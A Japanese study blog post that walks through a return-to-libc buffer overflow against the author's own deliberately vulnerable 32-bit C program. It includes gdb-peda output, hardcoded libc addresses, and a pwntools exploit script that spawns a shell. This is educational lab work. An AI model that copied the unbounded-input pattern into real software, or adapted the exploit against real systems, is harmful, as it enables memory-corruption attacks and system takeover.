はじめて学ぶバイナリ解析 に載っていた、バッファオーバーフローによる Return to libc をやる
勉強のために、本を読んで雰囲気を理解後、本を見ずに実践する
環境
# uname -a
Linux 29b342e56b09 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
ゴール
バッファオーバーフローを利用してlibcのsystem関数を実行、シェルを起動する
実践
system関数を呼んだ時のスタック状況を確認する
test.c
#include <stdio.h>
int main() {
system("/bin/sh");
return 0;
}
コンパイル、実行
# gcc -fno-stack-protector -m32 -o test.o test.c
# ./test.o
sh-4.2#
# gdb ./test.o
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /post/c/binaly/_debug/test.o...(no debugging symbols found)...done.
gdb-peda$ b system
Breakpoint 1 at 0x80482e0
gdb-peda$ r
Starting program: /post/c/binaly/_debug/./test.o
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xf7fc8000 --> 0x1c6d88
ECX: 0x94b3c8b3
EDX: 0xffffd7c4 --> 0xf7fc8000 --> 0x1c6d88
ESI: 0x0
EDI: 0x0
EBP: 0xffffd798 --> 0x0
ESP: 0xffffd77c --> 0x8048422 (<main+21>: mov eax,0x0)
EIP: 0xf7e3ffa0 (<system>: push edi)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e3ff9c <cancel_handler+220>: pop edi
0xf7e3ff9d <cancel_handler+221>: ret
0xf7e3ff9e: xchg ax,ax
=> 0xf7e3ffa0 <system>: push edi
0xf7e3ffa1 <system+1>: push esi
0xf7e3ffa2 <system+2>: push ebx
0xf7e3ffa3 <system+3>: mov esi,DWORD PTR [esp+0x10]
0xf7e3ffa7 <system+7>: call 0xf7f427b5 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xffffd77c --> 0x8048422 (<main+21>: mov eax,0x0)
0004| 0xffffd780 --> 0x80484c4 ("/bin/sh")
0008| 0xffffd784 --> 0xc000
0012| 0xffffd788 --> 0x804843b (<__libc_csu_init+11>: add ebx,0x1bc5)
0016| 0xffffd78c --> 0xf7fc8000 --> 0x1c6d88
0020| 0xffffd790 --> 0x8048430 (<__libc_csu_init>: push ebp)
0024| 0xffffd794 --> 0x0
0028| 0xffffd798 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e3ffa0 in system () from /lib/libc.so.6
Missing separate debuginfos, use: debuginfo-install glibc-2.17-317.el7.i686
結果
SPにsystem関数からの戻りアドレス4バイト、後ろにsystem関数の引数アドレス4バイトが積まれている
=> つまり system関数を実行するには スタックに適当な値、system関数の引数を積んでおく 必要があるはず。スタックの偽装とでも言うのかな
バッファオーバーフロー脆弱性のあるソースコード
a.c
#include <stdio.h>
void vuln() {
char buf[32];
printf("入力\n");
scanf("%[^\n]", buf);
}
int main() {
vuln();
printf("正常終了\n");
return 0;
}
コンパイル、実行
# gcc -fno-stack-protector -m32 -o a.o a.c
# ./a.o
入力
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
正常終了
# ./a.o
入力
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
バッファオーバーフローを利用してsystem関数を呼び出す
必要な情報を集める
-
system関数のアドレス
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e3ffa0 <system>
-
main関数への戻りアドレスを入れるメモリ番地とインプットのオフセット
戻り番地のアドレス : 0xffffd77c
インプットのアドレス: 0xffffd750
オフセット: 44 -
system関数に渡す引数のアドレス(シェルを起動したいので /bin/sh を探す)
gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f81115 ("/bin/sh")
exploit.py
from pwn import *
p = process("./a.o")
# オフセット: 44
# system関数アドレス: 0xf7e3ffa0
# 適当なアドレス分のオフセット: 4
# system関数の引数: 0xf7f81115
p.sendline("A"*44 + "\xa0\xff\xe3\xf7" + "A"*4 + "\x15\x11\xf8\xf7")
p.interactive()
実行
# python3 ./exploit.py
[+] Starting local process './a.o': pid 2455
[*] Switching to interactive mode
入力
$ ls
a.c exploit.py peda-session-test.o.txt test.o
a.o peda-session-a.o.txt test.c
$ id
uid=0(root) gid=0(root) groups=0(root)
無事、シェルが起動
感想
本は初学者向けの内容となっていて、とても読みやすく勉強になった。
gdb辛いって思っていたけど、gdb-pedaの存在を知ってとても作業が捗った。
理由はわからないけど、64bitにコンパイルした実行ファイルだとsystem関数の引数がスタックに乗らず完了できなかった。
コンピュータの知識が乏しく64bitと32bitの違いがわからない。そのうち解るようになることを自分に期待!